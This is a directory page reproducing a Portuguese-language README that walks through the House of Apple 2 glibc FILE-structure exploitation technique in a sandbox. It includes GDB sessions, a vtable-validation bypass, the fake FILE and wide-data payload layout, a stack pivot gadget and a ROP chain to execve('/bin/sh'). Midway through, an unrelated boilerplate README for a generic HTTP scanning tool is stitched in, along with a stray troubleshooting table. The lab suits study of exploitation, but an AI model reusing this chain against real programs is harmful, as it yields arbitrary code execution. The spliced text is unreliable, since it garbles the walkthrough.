Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
house_of_apple_2 — Passo a passo interativo do GDB para a técnica FSOP House of Apple 2 no glibc 2.43, com um sandbox reproduzível cobrindo bypass de vtable, stack pivoting e ROP. | Kitploit
Ferramentas/GitHubGitHub/jazho76/house_of_apple_2
Forensia de MemóriaExploraçãoEngenharia ReversaShellcodeDepuradoresPapers e PesquisaAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de BináriosLabs e Prática
GitHubjazho76/house_of_apple_2
3110há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

house_of_apple_2

Passo a passo interativo do GDB para a técnica FSOP House of Apple 2 no glibc 2.43, com um sandbox reproduzível cobrindo bypass de vtable, stack pivoting e ROP.

Ver Repositório

Explorando a House of Apple 2 em glibc moderno

Este repositório é um playground autocontido inspirado no módulo de Exploração de Estruturas de Arquivo do pwn.college. Ele não introduz uma nova variação da House of Apple 2, apenas responde à minha curiosidade sobre como a técnica se comporta em versões recentes da glibc e se ela continua sendo um caminho de exploração viável. O documento fornece um passo a passo interativo no GDB que os leitores podem acompanhar junto com o sandbox para desenvolver uma compreensão mais intuitiva da primitiva. Todos os experimentos usam glibc 2.43, conforme empacotada pelo Ubuntu 26.04 e Fedora 44 no momento da escrita.

File Stream Oriented Programming (FSOP). Trata-se de manipular estruturas de stream de arquivo da glibc para sequestrar o fluxo de controle. Uma forma de fazer isso é corromper o mecanismo de despacho da vtable de _IO_FILE_plus. A glibc moderna valida essa vtable, então a abordagem óbvia de substituí-la por um endereço arbitrário não funciona.

House of Apple 2, originalmente introduzida por Roderick, contorna essa restrição usando uma vtable válida de _IO_FILE_plus para alcançar a maquinaria de streams de caracteres largos, onde uma vtable secundária é despachada diretamente sem validação de intervalo. Isso fornece uma primitiva de chamada arbitrária que podemos escalar para um stack pivot e uma cadeia ROP.

Pré-requisitos de exploração

Esta exploração assume que podemos sobrescrever uma estrutura FILE e que temos tanto um heap leak quanto um libc leak. O binário alvo já fornece isso.

Ambiente de sandbox

O sandbox roda Ubuntu 26.04 LTS, nos dando um ambiente moderno para explorar a técnica.

A imagem inclui GDB, pwndbg, pwntools, ropper e tmux. Ela também contém um binário alvo com um menu interativo para invocar operações de stream de arquivo como fopen, fread, fwrite e fclose. Isso nos dá uma maneira conveniente de manipular streams durante a depuração e teste de ideias.

Compile e execute o sandbox com:``` ./build.sh ./run.sh

root@kitploit:~
## Exploração

Vamos começar inspecionando as estruturas `_IO_FILE` e `_IO_FILE_plus`:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2 : 24;
    char _short_backupbuf[1];
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    struct _IO_FILE **_prevchain;
    int _mode;
    int _unused3;
    __uint64_t _total_written;
    char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
}

Em termos práticos, _IO_FILE_plus é um _IO_FILE com um ponteiro de vtable. Isso imediatamente parece interessante: se conseguirmos controlar esse ponteiro, podemos ser capazes de redirecionar uma chamada indireta e sequestrar o fluxo de controle.

Inspecionando a vtable do fluxo de arquivo

Para inspecionar a vtable, vamos examinar um ponteiro FILE retornado por fopen.```c pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010 $4 = { file = { _flags = 0xfbad2480, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>, _fileno = 0x3, _flags2 = 0x0, _short_backupbuf = "", _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x37ecf0f0, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x37ecf100, _freeres_list = 0x0, _freeres_buf = 0x0, _prevchain = 0x7f58a7f4b480 <_IO_list_all>, _mode = 0x0, _unused3 = 0x0, _total_written = 0x0, _unused2 = "\000\000\000\000\000\000\000" }, vtable = 0x7f58a7f49030 <_IO_file_jumps> }

root@kitploit:~
O ponteiro aponta para a tabela `_IO_file_jumps`.

![3](https://assets.kitploit.com/production/public/readmes/56272/9fe7069dbb47c87d81c704a23ff483a6c630d5506150361db4aefee1516d0423/054e7475018b9adcfdb102b7e142ea8ad09116b38787416fdc30f8cb2f209bfa-display-v1.webp)

Este é um conjunto de 21 ponteiros de função. As operações de fluxo de arquivo são despachadas através de diferentes entradas dependendo do caminho de execução.

### Seguindo o caminho do `fwrite`

Para esta exploração, vou focar no caminho do `fwrite`. Depois de colocar breakpoints em cada função e chamar `fwrite`, o primeiro breakpoint que atingimos é `_IO_file_xsputn`.

![4](https://assets.kitploit.com/production/public/readmes/56272/f77a8ff4f3d548b46916a97897b811b5cfb650de4843184b6574bdac51e1c2d0/e7de50a63631e0e1b18e8aa0b2d0852b62457428b4be3936ea3ea6a776531329-display-v1.webp)

A chamada ocorre em `fwrite+216`. Isto corresponde ao [código-fonte da glibc](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44): `_IO_sputn` é uma macro que despacha através da vtable, resolvendo para `_IO_file_xsputn` para este fluxo.```asm
   0x00007fd5181d362a <+202>:	mov    rdx,rcx
   0x00007fd5181d362d <+205>:	mov    rdi,rbx
   0x00007fd5181d3630 <+208>:	mov    QWORD PTR [rbp-0x30],r8
   0x00007fd5181d3634 <+212>:	mov    QWORD PTR [rbp-0x28],rcx
   0x00007fd5181d3638 <+216>:	call   QWORD PTR [rax+0x38]

Tentando substituir a vtable

Como primeira tentativa, vamos sobrescrever o ponteiro da vtable com desired_func - 0x38 e definir um breakpoint em fwrite+216.```c pwndbg> p &win $3 = (<text variable, no debug info> *) 0x4019e1 pwndbg> p/x &win - 0x38 $4 = 0x4019a9 pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9 pwndbg> b *fwrite+216 Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

root@kitploit:~
![5](https://assets.kitploit.com/production/public/readmes/56272/68d9bb8c66bf4088af2741eebea1ecb9b56d047f77983d068d26c9566a97e533/1c9d22964dbe7735df03440da27a86e739989f7cf62bd6e126cecf1083b2cf4b-display-v1.webp)

A execução é abortada antes de atingir o breakpoint. O erro sugere que a glibc valida o ponteiro da vtable antes de realizar a chamada indireta. Vamos inspecionar o backtrace e ver onde isso acontece.

`fwrite` atinge `_IO_vtable_check`, que está rejeitando o ponteiro de vtable forjado.

![6](https://assets.kitploit.com/production/public/readmes/56272/5d88a98e9a1a20ab8c510aad7374f24884a05f363bd46f94d0d05cad513c7c0a/6974f1daec533bb453c59cff614c11f59c29bb1f85a0d23235e05c22433c0b48-display-v1.webp)

A implementação contém um mecanismo para aceitar vtables externas, mas não está sob nosso controle. O código relevante está disponível em [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504).

### Entendendo a validação da vtable

Quando `_IO_vtable_check` é chamado, já é tarde demais; a validação da vtable falhou. O frame anterior `IO_validate_vtable` no backtrace é a parte interessante, então vamos inspecioná-lo em vez disso.```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.

O GDB não consegue resolver IO_validate_vtable como um símbolo. Olhando para o código-fonte, podemos ver que ele está embutido (inlined) em fwrite.```asm 0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables> 0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8] 0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8] 0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28] 0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20] 0x00007fd5181d3613 <+179>: mov rdx,rax 0x00007fd5181d3616 <+182>: sub rdx,rdi 0x00007fd5181d3619 <+185>: cmp rdx,0x92f 0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>

root@kitploit:~
Um ponteiro de vtable só é aceito quando está dentro de `[__io_vtables, __io_vtables + IO_VTABLES_LEN)`. Portanto, não podemos simplesmente apontá-lo para qualquer lugar que quisermos. Ainda assim, esta é uma região bastante grande que contém várias tabelas de saltos, o que nos dá algo para explorar.

O intervalo válido começa da seguinte forma:

![7](https://assets.kitploit.com/production/public/readmes/56272/a44872f4cc95b7607ed0abe8cfe35f7a6eae6be8bbb5a5d017e693b9c67bf87f/4a82dee7de96ab2a558a6a37688145328eb42a0e2c4dbbe74267a08049d1832c-display-v1.webp)

## House of Apple 2

Agora entendemos o mecanismo básico e a sua principal restrição: a vtable de `_IO_FILE_plus` tem de apontar para algum lugar dentro da região de vtable válida da glibc. Isto bloqueia a abordagem óbvia, mas não fecha completamente a porta.

A House of Apple 2 contorna isto alcançando uma segunda vtable através da maquinaria de streams de caracteres largos. Esta segunda vtable não é validada da mesma forma. Vamos seguir esse caminho no GDB e ver como as peças se ligam.

### A maquinaria de streams de caracteres largos

Voltando a `_IO_FILE`, existe um campo `_wide_data` que aponta para uma estrutura `_IO_wide_data`. Esta estrutura tem uma vtable própria.```c
pwndbg> ptype struct _IO_wide_data
type = struct _IO_wide_data {
    wchar_t *_IO_read_ptr;
    wchar_t *_IO_read_end;
    wchar_t *_IO_read_base;
    wchar_t *_IO_write_base;
    wchar_t *_IO_write_ptr;
    wchar_t *_IO_write_end;
    wchar_t *_IO_buf_base;
    wchar_t *_IO_buf_end;
    wchar_t *_IO_save_base;
    wchar_t *_IO_backup_base;
    wchar_t *_IO_save_end;
    __mbstate_t _IO_state;
    __mbstate_t _IO_last_state;
    struct _IO_codecvt _codecvt;
    wchar_t _shortbuf[1];
    const struct _IO_jump_t *_wide_vtable;
}

Seu layout parece bastante semelhante ao _IO_FILE. Ele faz parte da maquinaria da glibc para lidar com streams de caracteres largos.

O caminho que queremos passa por _IO_wfile_overflow, que pode eventualmente chamar _IO_wdoallocbuf.```c wint_t _IO_wfile_overflow (FILE f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) / SET ERROR / { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } / If currently reading or no buffer allocated. / if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL) { / Allocate a buffer if needed. */ if (f->_wide_data->_IO_write_base == NULL) { _IO_wdoallocbuf (f); // <- this is it _IO_free_wbackup_area (f);

root@kitploit:~
  if (f->_IO_write_base == NULL)
    {
      _IO_doallocbuf (f);
      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
	     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
}
  else
{
  ...
root@kitploit:~
`--url` | URL do alvo (obrigatório) |
| `--method` | Método HTTP (padrão: GET) |
| `--data` | Corpo da requisição POST |
| `--headers` | Cabeçalhos personalizados (formato: `Key:Value,Key2:Value2`) |
| `--proxy` | Proxy (ex.: `http://127.0.0.1:8080`) |
| `--timeout` | Tempo limite da requisição em segundos (padrão: 10) |
| `--user-agent` | User-Agent personalizado |
| `--follow-redirects` | Seguir redirecionamentos HTTP |
| `--verify-ssl` | Verificar certificados SSL |
| `--concurrency` | Número de requisições simultâneas (padrão: 10) |
| `--delay` | Atraso entre requisições em milissegundos |
| `--rate-limit` | Limite de taxa (requisições por segundo) |
| `--retries` | Número de tentativas em caso de falha (padrão: 3) |
| `--output` | Arquivo de saída (padrão: stdout) |
| `--format` | Formato de saída: `json`, `csv`, `table` (padrão: table) |
| `--verbose` | Saída detalhada |
| `--silent` | Modo silencioso (apenas resultados) |
| `--config` | Arquivo de configuração (YAML) |
| `--log-level` | Nível de log: `debug`, `info`, `warn`, `error` |
| `--no-color` | Desabilitar saída colorida |
| `--version` | Mostrar versão e sair |
| `--help` | Mostrar mensagem de ajuda |

### Exemplos

```bash
# Uso básico
./tool --url https://example.com

# Com método POST e dados
./tool --url https://example.com/api --method POST --data '{"key":"value"}'

# Com cabeçalhos personalizados
./tool --url https://example.com --headers "Authorization:Bearer token,X-Custom:value"

# Usando proxy
./tool --url https://example.com --proxy http://127.0.0.1:8080

# Saída em JSON
./tool --url https://example.com --format json --output results.json

# Com limite de taxa e simultaneidade
./tool --url https://example.com --rate-limit 5 --concurrency 20

# Modo silencioso com saída detalhada
./tool --url https://example.com --silent --verbose

Arquivo de Configuração

root@kitploit:~
# config.yaml
url: https://example.com
method: GET
headers:
  User-Agent: "Mozilla/5.0"
  Accept: "application/json"
timeout: 30
concurrency: 10
rate_limit: 5
retries: 3
output: results.json
format: json
verbose: false

Saída

A ferramenta suporta múltiplos formatos de saída:

Formato de Tabela (padrão)

root@kitploit:~
+---------------------+--------+----------+
| URL                 | Status | Tamanho  |
+---------------------+--------+----------+
| https://example.com | 200    | 1256     |
| https://example.com | 404    | 0        |
+---------------------+--------+----------+

Formato JSON

root@kitploit:~
{
  "results": [
    {
      "url": "https://example.com",
      "status": 200,
      "size": 1256,
      "headers": {
        "content-type": "text/html"
      }
    }
  ]
}

Formato CSV

root@kitploit:~
url,status,size,content_type
https://example.com,200,1256,text/html

Casos de Uso

1. Verificação de Integridade de Endpoints

root@kitploit:~
./tool --url https://api.example.com/health --format json

2. Teste de Carga com Limite de Taxa

root@kitploit:~
./tool --url https://example.com --concurrency 50 --rate-limit 100 --retries 5

3. Análise de Cabeçalhos de Segurança

root@kitploit:~
./tool --url https://example.com --verbose | grep -i "security"

4. Integração com CI/CD

root@kitploit:~
# .github/workflows/security.yml
- name: Executar verificação de segurança
  run: |
    ./tool --url ${{ secrets.TARGET_URL }} \
      --format json \
      --output results.json \
      --silent

Solução de Problemas

Erros Comuns

Modo de Depuração

root@kitploit:~
./tool --url https://example.com --log-level debug --verbose

Verificação de Conectividade

root@kitploit:~
# Testar conectividade básica
curl -I https://example.com

# Testar com proxy
curl -I --proxy http://127.0.0.1:8080 https://example.com

Considerações de Segurança

  • Sempre obtenha autorização antes de testar qualquer sistema
  • Não use em produção sem permissão explícita
  • Respeite os limites de taxa para evitar sobrecarga do servidor
  • Proteja as credenciais ao usar cabeçalhos de autenticação
  • Valide a saída antes de tomar decisões com base nos resultados

Contribuindo

Contribuições são bem-vindas! Por favor, siga estas diretrizes:

  1. Faça um fork do repositório
  2. Crie uma branch para sua feature (git checkout -b feature/nova-funcionalidade)
  3. Faça commit das suas alterações (git commit -am 'Adiciona nova funcionalidade')
  4. Faça push para a branch (git push origin feature/nova-funcionalidade)
  5. Abra um Pull Request

Diretrizes de Código

  • Siga o estilo de código existente
  • Adicione testes para novas funcionalidades
  • Atualize a documentação conforme necessário
  • Mantenha os commits atômicos e descritivos

Licença

Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.

Agradecimentos

  • Agradecimentos a todos os contribuidores
  • Inspirado por ferramentas similares de código aberto
  • Agradecimentos especiais à comunidade de segurança

Aviso Legal

Esta ferramenta é destinada apenas para fins educacionais e de teste de segurança autorizado. Os autores não são responsáveis por qualquer uso indevido ou danos causados por esta ferramenta. Sempre obtenha permissão por escrito antes de testar qualquer sistema.

Contato

  • Autor: Seu Nome
  • Email: [email protected]
  • GitHub: @seuusuario

Links Relacionados

  • Documentação
  • Relatar Bug
  • Solicitar Funcionalidade
  • Changelog```c void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) return; _IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0); }
root@kitploit:~
`_IO_WDOALLOCATE` é outra macro de despacho, desta vez operando através da wide vtable. A chamada indireta torna-se clara na desmontagem:

![8](https://assets.kitploit.com/production/public/readmes/56272/bdf47e0911ab37fa9e95437956b52081cb64934c7ffc130655ee1958c81455f4/19c64fde65274690a367bc2cfb7150cf9070ddf4c40fcb8954f840728f6468d6-display-v1.webp)

Aqui está a parte interessante. Em `_IO_wdoallocbuf+44` a glibc carrega o ponteiro `_wide_vtable` a partir de `_wide_data`. Em `_IO_wdoallocbuf+55` chama o ponteiro de função em `_wide_vtable + 0x68`. Desta vez não há validação de intervalo.

### Conectando as duas vtables

Agora as peças começam a conectar-se. `_IO_wfile_overflow` pertence a `_IO_wfile_jumps` que existe dentro do intervalo válido aceite pela primeira verificação da vtable. A partir daí, a execução pode alcançar outra chamada indireta através da `_wide_vtable` não validada.

![9](https://assets.kitploit.com/production/public/readmes/56272/bbfe2649422c1123130eb0b1d7e84d7ec0b9fa1fdaf6ce586b9d0739999b219a/356e3eed0f55e874ff84a86c880c78d65d1b95d474141efbd70c9a5efe115409-display-v1.webp)```c
pwndbg> p &__io_vtables < &_IO_wfile_jumps < (void *)&__io_vtables+0x92f
$5 = 0x1

A ideia geral agora é:

  1. Definir a vtable de _IO_FILE_plus para que o slot relevante resolva para _IO_wfile_overflow.
  2. Apontar _wide_data para uma estrutura _IO_wide_data forjada cuja _wide_vtable seja desired_function - 0x68.

Antes de tentar a próxima execução, precisamos satisfazer algumas condições para alcançar _IO_wdoallocbuf.

Em _IO_wfile_overflow:

  • _flags não deve conter _IO_NO_WRITES (0x0008)
  • _wide_data->_IO_write_base deve ser NULL

Em _IO_wdoallocbuf:

  • fp->_wide_data->_IO_buf_base deve ser NULL
  • _flags não deve conter _IO_UNBUFFERED (0x0002)

Há mais um detalhe. _IO_FILE contém um campo _lock que a glibc desreferencia ao adquirir e liberar o lock do stream. Precisamos apontá-lo para uma região gravável de 0x10 bytes inicializada com zero, caso contrário a operação do stream irá crashar antes de alcançar a nossa chamada.

Hijack do fluxo de controle

Tudo está pronto, vamos tentar novamente. Desta vez a verificação de intervalo externa passa, e a primeira chamada indireta despacha para _IO_wfile_overflow.

10

A estrutura forjada também satisfaz as condições em _IO_wfile_overflow. A execução continua para _IO_wdoallocbuf. Finalmente, as verificações em _IO_wdoallocbuf passam, e a chamada indireta em _IO_wdoallocbuf+55 cai na nossa função win.

Já que estamos aqui, vale a pena olhar para o estado dos registradores imediatamente antes da chamada indireta final.

13

Tanto RDI quanto RDX apontam para o início da estrutura FILE controlada. Não controlamos diretamente o primeiro e o terceiro registradores de argumento, mas controlamos a memória para a qual eles apontam. Legal!

Construindo a primitiva

A primitiva está implementada em ./exp/house_of_apple2.py. A abordagem direta seria colocar um _IO_FILE_plus completo, um _IO_wide_data completo e uma vtable wide falsa separada, um após o outro. Isso funcionaria, mas também exigiria um buffer bastante grande.

Podemos tornar o payload menor sobrepondo-os.

O _IO_wide_data falso começa no offset 0x08, dentro do _IO_FILE_plus falso. Isso funciona porque a maioria dos campos envolvidos na sobreposição pode permanecer zero. Convenientemente, _wide_data->_IO_write_base e _wide_data->_IO_buf_base sobrepõem-se a _IO_write_base e _IO_buf_base na estrutura FILE, e ambos os pares precisam ser NULL.

As partes importantes do layout são:

As duas últimas entradas são a chave para a chamada arbitrária. _wide_vtable aponta de volta para o payload no offset 0x78. Quando _IO_wdoallocbuf despacha através de _wide_vtable + 0x68, ele lê o ponteiro de função armazenado no offset 0xe0:```text wide_vtable = base + 0x78 wide_vtable+0x68 = base + 0xe0

root@kitploit:~
É aqui que colocamos o endereço da função que queremos chamar.

A vtable externa depende da operação usada para acionar a primitiva. Para `fwrite`, o despacho acontece através do slot em `+0x38`, então o ponteiro é ajustado até que esse slot resolva para `_IO_wfile_overflow`. A implementação também suporta `fread` e `fclose` aplicando os deslocamentos de despacho correspondentes.

Com este layout, um único buffer compacto contém a estrutura `FILE` falsa, o `_IO_wide_data` sobreposto, a vtable wide falsa e o ponteiro de função final.

## Stack pivoting

Neste ponto temos uma primitiva de chamada arbitrária, mas nosso controle sobre os registradores é limitado. O próximo passo é pivotar a pilha para memória controlada e iniciar uma cadeia ROP.

Em `__push___start_context+63` há um gadget útil de stack pivot `mov rsp, rdx; ret`.```asm
pwndbg> disass __push___start_context
Dump of assembler code for function __push___start_context:
   0x00007f46729440d0 <+0>:	endbr64
   0x00007f46729440d4 <+4>:	rdsspq rcx
   0x00007f46729440d9 <+9>:	mov    rdx,rsp
   0x00007f46729440dc <+12>:	mov    rsi,QWORD PTR [rdi+0xa0]
   0x00007f46729440e3 <+19>:	lea    rsp,[rsi+0x8]
   0x00007f46729440e7 <+23>:	mov    rsi,QWORD PTR [rdi+0x3b8]
   0x00007f46729440ee <+30>:	mov    rax,QWORD PTR [rdi+0x3b0]
   0x00007f46729440f5 <+37>:	rstorssp QWORD PTR [rax+rsi*1-0x8]
   0x00007f46729440fb <+43>:	saveprevssp
   0x00007f46729440ff <+47>:	call   0x7f4672944106 <__push___start_context+54>
   0x00007f4672944104 <+52>:	jmp    0x7f4672944120 <__start_context>
   0x00007f4672944106 <+54>:	rstorssp QWORD PTR [rcx-0x8]
   0x00007f467294410b <+59>:	saveprevssp
   0x00007f467294410f <+63>:	mov    rsp,rdx
   0x00007f4672944112 <+66>:	ret
End of assembler dump.

Já sabemos que RDX aponta para o início da nossa estrutura FILE controlada no momento da chamada arbitrária. Se chamarmos este gadget, RSP move-se diretamente para a nossa estrutura falsa e a execução continua a partir dos valores armazenados lá. Isso deve nos dar o início de uma cadeia ROP.

ROP

Um detalhe: a cadeia ROP sobrepõe-se à memória da estrutura FILE falsa, portanto as restrições de campos de _IO_wdoallocbuf ainda se aplicam. O primeiro qword sobrepõe-se a _flags, o que significa que o seu valor não pode definir _IO_NO_WRITES (0x8) nem _IO_UNBUFFERED (0x2). O nosso primeiro gadget, portanto, precisa de um endereço com esses bits limpos no seu byte menos significativo.

O gadget ret em _nl_archive_subfreeres+96 deve servir. Não é uma instrução ret realmente presente no código original nesse limite, mas é um gadget válido a meio da instrução nesse endereço deslocado. O seu byte menos significativo é 0x00, portanto colocar o endereço em _flags não define _IO_NO_WRITES nem _IO_UNBUFFERED.```asm pwndbg> tele 0x7f4672919d00 1 00:0000│ 0x7f4672919d00 (_nl_archive_subfreeres+96) ◂— ret

root@kitploit:~
Temos mais dois buracos na cadeia porque `_IO_write_base` e `_IO_buf_base` devem permanecer `NULL`. Ainda podemos tornar esses slots úteis consumindo-os como valores zero para os gadgets `pop` anteriores.

Por fim, não podemos sobrescrever `_lock`, localizado no offset `0x88`. Isso nos deixa com 17 qwords para a cadeia ROP inline, o que é mais do que suficiente para obter controle total do processo.

O layout da ROP em [./exp/ace.py](https://github.com/jazho76/house_of_apple_2/blob/main/exp/ace.py) é:```
0x00: _nl_archive_subfreeres+96 # pointer to ret instruction
				# with least significant byte as 0x00
0x08: pop rdi gadget
0x10: "/bin/sh" string in libc
0x18: pop rsi gadget
0x20: 0x0000000000000000	# _IO_write_base as NULL
0x50: address to execve		# call execve("/bin/sh", NULL)

14

Agora alcançámos execução arbitrária de código.

Leitura adicional

  • House of Apple: um novo método de ataque de IO da glibc (2), a publicação original do House of Apple 2 por Roderick.
  • fsop-finder, que identificou independentemente o caminho _IO_wdoallocbuf enquanto explorava caminhos FSOP modernos.
  • Angry-FSROP, para uma abordagem assistida por ferramenta na descoberta de caminhos de fluxo de controlo.
  • Deep Dive into FSOP, para uma cobertura mais ampla dos internos do FILE, técnicas conhecidas e outros caminhos interessantes.

Conclusão

O House of Apple 2 mostra como uma vtable válida da glibc pode alcançar a maquinaria de caracteres largos e despachar através de uma vtable secundária não validada. O mesmo caminho permanece reproduzível na compilação da glibc 2.43 usada pela sandbox. Embora os layouts, deslocamentos e gadgets possam mudar entre compilações, a ideia subjacente de fluxo de controlo continua a aplicar-se.

Baixar ferramenta
ErroCausaSolução
connection refusedServidor não está em execução ou porta incorretaVerifique a URL e a porta
timeoutServidor lento ou rede instávelAumente --timeout
SSL certificate errorCertificado inválido ou autoassinadoUse --no-verify-ssl (apenas para testes)
too many redirectsLoop de redirecionamentoVerifique a configuração do servidor
Offset do payloadInterpretação como _IO_FILE_plusInterpretação como _IO_wide_dataValor
0x00_flags-Não deve definir _IO_NO_WRITES ou _IO_UNBUFFERED
0x08_IO_read_ptrInício do _IO_wide_data falsoZero
0x20_IO_write_base_IO_write_baseNULL
0x38_IO_buf_base_IO_buf_baseNULL
0x78_old_offsetInício da vtable wide falsaDados da vtable sobrepostos
0x88_lock-Ponteiro para um valor zero em memória gravável
0xa0_wide_data-base + 0x08
0xd8vtable de _IO_FILE_plus-Posição que despacha para _IO_wfile_overflow
0xe0-Entrada da vtable wide falsa em +0x68Endereço da função arbitrária
0xe8-_wide_vtablebase + 0x78